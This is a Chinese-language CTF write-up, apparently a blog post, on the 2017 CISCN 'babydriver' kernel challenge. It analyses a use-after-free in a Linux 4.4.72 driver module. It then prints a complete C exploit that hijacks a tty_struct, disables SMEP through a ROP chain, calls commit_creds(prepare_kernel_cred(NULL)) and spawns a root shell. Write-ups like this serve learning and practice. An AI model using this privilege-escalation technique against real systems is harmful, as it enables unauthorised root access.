Linux-4.4.72内核(uaf-tty_struct-babydriver)

题目:2017 CISCN babydriver

附件文件

在这里插入图片描述

  • 给boot.sh加上-s调试参数
  • 解压rootfs.cpio后拿到./lib/modules/4.4.72/babydriver.ko漏洞文件
  • vmlinux-to-elf bzImage vmlinux得到vmlinux内核
  • 下面即可分析和编写exp了

保护

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gjVT3sSR-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220411211556090.png)]

分析

babydriver.ko放入IDA中进入到babydriver_init模块入口函数,简单分析如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tACQip8y-1649687448618)(uaf-tty_struct-babydriver.assets/image-20220407175802956-9682741.png)]

模块流程核心函数如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rpF0tSaR-1649687448619)(uaf-tty_struct-babydriver.assets/image-20220407191925053-9682741.png)]

babyopen函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwrnJrfK-1649687448620)(uaf-tty_struct-babydriver.assets/image-20220407222610082.png)]

可以注意到参数分别是struct inode *inode, struct file *filp

inode结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。

file结构代表一个打开的文件。(它不特定于设备驱动程序;系统中每个打开的文件在struct file内核空间中都有一个关联。)直到最后一个close。在文件的所有实例都关闭后,内核释放数据结构

babyread:在这里插入图片描述

babywrite:
在这里插入图片描述

babyioctl:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NECKZ5v7-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407223230395.png)]

babyrelease函数:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B1JwkFTF-1649687448622)(uaf-tty_struct-babydriver.assets/image-20220407194501638.png)]

综上可知release函数存在一个uaf漏洞,ioctl函数可以重新分配指定大小的堆块

思路

这里利用uaf漏洞劫持tty_struct

/dev/ptmx是一种tty设备,tty设备被open的时候,会申请一个空间作为tty_struct定义如下:

struct tty_struct {
	int	magic;  //魔数  0x00005401   占4byte
	struct kref kref; //0x00000100  这个结构体最终指向typedef struct  --> int counter; 占4byte  
	struct device *dev; //占8byte
	struct tty_driver *driver;//占8byte
	const struct tty_operations *ops;   //目标指针 定义在下面
 	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
  //........
}

0x005401就是tty_struct结构体的魔数,struct kref值为0x1000xffffffff81a74f80就是struct tty_operations指针

struct tty_operations结构体存了许多函数指针,在对此设备进行操作的时候,就会调用这里的函数指针,定义如下:

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,struct inode *inode, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
  //。。。。。。
};

具体指令对应着相应的函数段,此时第八个指针也就是write函数的指针 -> 0x38处将它修改为ROP,在调用/dev/ptmx进程的write函数时即可进入ROP劫持程序执行流

首先就是常见的保存用户态环境,分别是cs、ss、sp、eflags寄存器将它们保存进全局变量便于后面取出,然后就是造成uaf劫持到tty_struct

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>

#define TTY_STRUCT_SIZE  0x2e0  //gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420

size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte

void staveStatus(){
    asm(
        "mov %cs , user_cs;"  //cs寄存器只能通过mov保存
        "mov %ss , user_ss;"
        "mov %rsp, user_sp;"
        "pushf;"
        "pop user_flags;"
        );
}
int main(){
    staveStatus();
    int fd1 = open("/dev/babydev",O_RDWR);  // alloc
    int fd2 = open("/dev/babydev",O_RDWR);  // alloc
    ioctl(fd1,0x10001,TTY_STRUCT_SIZE);  //realloc  #TTY_STRUCT_SIZE这个值可以通过gdb调试时 p sizeof(struct tty_struct)得到,必须要有符号表!
    close(fd1);   //free
    int tty_fd = open("/dev/ptmx",O_RDWR);   //uaf
}

断点在babywrite处在mov filp, cs:babydev_struct.device_buf后记录rdi的值(文件fd值),然后也就是单步调试到call _copy_from_user后面查看rdi的值如图:

可以看到已经成功拿到了tty_struct结构它的magic就是0x5401

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jpnMOJRl-1649687448623)(uaf-tty_struct-babydriver.assets/image-20220411213104306.png)]

我们知道tty_struct结构的第4个参数是tty_operations指针那么就可以在这里写入我们伪造的fake_tty_operations

将fd2的数据复制到我们的fake_tty_struct结构中,也可以手动设置数据,这里为了方便

size_t fake_tty_struct[4];
size_t fake_tty_operations[7];

read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
fake_tty_struct[3] = &fake_tty_operations;//修改tty_operations指向我们的fake_tty_operations

write(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //写入伪造的fake_tty_struct
write(tty_fd,"",1); //执行fake_tty_operations --> write

这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)

所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行

		size_t fake_tty_struct[4];
    size_t fake_tty_operations[7];
    size_t rop[0x10];
    int i = 0;
    rop[i++] = POP_RDI;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI;  //mov cr4, rdi /使得cr4 = 0x6f0
    rop[i++] = 0;  //pop rbp
    rop[i++] = &getRoot; //ret
    rop[i++] = SWAPGS; #切换
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;

    memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
    fake_tty_operations[7] = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
    fake_tty_operations[0] = POP_RAX; //将下面rop的代码地址放入rax
    fake_tty_operations[1] = &rop;
    fake_tty_operations[2] = MOV_RSP_RAX; //执行rop流程
    
    read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
    fake_tty_struct[3] = &fake_tty_operations;

    write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
    write(tty_fd,"",1);

然后就是一些跳来跳去的gadget链,这里提权采用commit_creds(prepare_kernel_cred(NULL))方式进行提取权限和一些标准的提权流程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cIzJS83E-1649687448624)(uaf-tty_struct-babydriver.assets/image-20220411215012307.png)]

完整exp

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include<sys/ioctl.h>

#define TTY_STRUCT_SIZE  0x2e0  //gdb中 p sizeof(struct tty_struct)
#define POP_RDI 0xffffffff810d238d //: pop rdi ; ret
#define MOV_CR4_RDI 0xffffffff81004d80 //: mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5
#define POP_RAX 0xffffffff8100ce6e //: pop rax ; ret
#define SWAPGS 0xffffffff81063694 //: swapgs ; pop rbp ; ret
#define prepare_kernel_cred 0xffffffff810a1810 //通过gdb查看
#define commit_creds 0xffffffff810a1420


size_t user_cs,user_ss,user_sp,user_flags;
//size_t 32bit中4byte, 64bit中8byte

void staveStatus(){
    asm(
        "mov %cs , user_cs;"  //cs寄存器只能通过mov保存
        "mov %ss , user_ss;"
        "mov %rsp, user_sp;"
        "pushf;"
        "pop user_flags;"
        );
}

void getRoot(){
    char* ((*pkc) (int)) = prepare_kernel_cred;
    void ((*cc)(char*))  = commit_creds;
    (*cc)((*pkc)(NULL));  //commit_creds(prepare_kernel_cred(NULL))
}

void getShell(){
  execl("/bin/sh","sh",NULL);
}
void intoUserStatus(){
    asm(
        "push %0;"
        "push %1;"
        "push %2;"
        "push %3;"
        "push %4;"
        "iretq;"
        :
        : "r"(user_ss),"r"(user_sp) ,"r"(user_flags) ,"r"(user_cs), "r"(&getShell)
        );
    //rop[i++] = IRETQ;  //这里发现gadget 中没有这个指令 所以手写asm
}
int main(){
    staveStatus();
    int fd1 = open("/dev/babydev",O_RDWR);  // alloc
    int fd2 = open("/dev/babydev",O_RDWR);  // alloc
    ioctl(fd1,0x10001,TTY_STRUCT_SIZE);  //realloc
    close(fd1);   //free
    int tty_fd = open("/dev/ptmx",O_RDWR);   //uaf


    size_t fake_tty_struct[4];
    size_t fake_tty_operations[7];
    size_t rop[0x10];
    int i = 0;
    rop[i++] = POP_RDI;
    rop[i++] = 0x6f0;
    rop[i++] = MOV_CR4_RDI;  //mov cr4, rdi /使得cr4 = 0x6f0
    rop[i++] = 0;  //pop rbp
    rop[i++] = &getRoot; //ret
    rop[i++] = SWAPGS;
    rop[i++] = 0;
    rop[i++] = &intoUserStatus;
  
    memset(fake_tty_operations,'\x00',sizeof(fake_tty_operations));
    fake_tty_operations[7] = MOV_RSP_RAX; //会先执行tty_operations结构体中的write函数
    fake_tty_operations[0] = POP_RAX; //将下面rop的代码地址放入rax
    fake_tty_operations[1] = &rop;
    fake_tty_operations[2] = MOV_RSP_RAX; //执行rop流程
    //mov_rsp_rax -> pop_rax -> mov_rsp_rax -> rop
    //这里有个转换关系:写入的rop地址到栈中是一个双级指针格式如为(当前栈地址->rop链地址->gadget)
    //所以不能直接将rop地址写到第7个指针,通过放入rax -> rsp 取出二级地址执行

    read(fd2,fake_tty_struct,sizeof(fake_tty_struct)); //复制fd2的数据到伪造的tty结构体
    fake_tty_struct[3] = &fake_tty_operations;

    write(fd2,fake_tty_struct,sizeof(fake_tty_struct));
    write(tty_fd,"",1);

    return 0;
}

成功获取root权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Hw2ptSZ-1649687448625)(uaf-tty_struct-babydriver.assets/image-20220411215316660.png)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值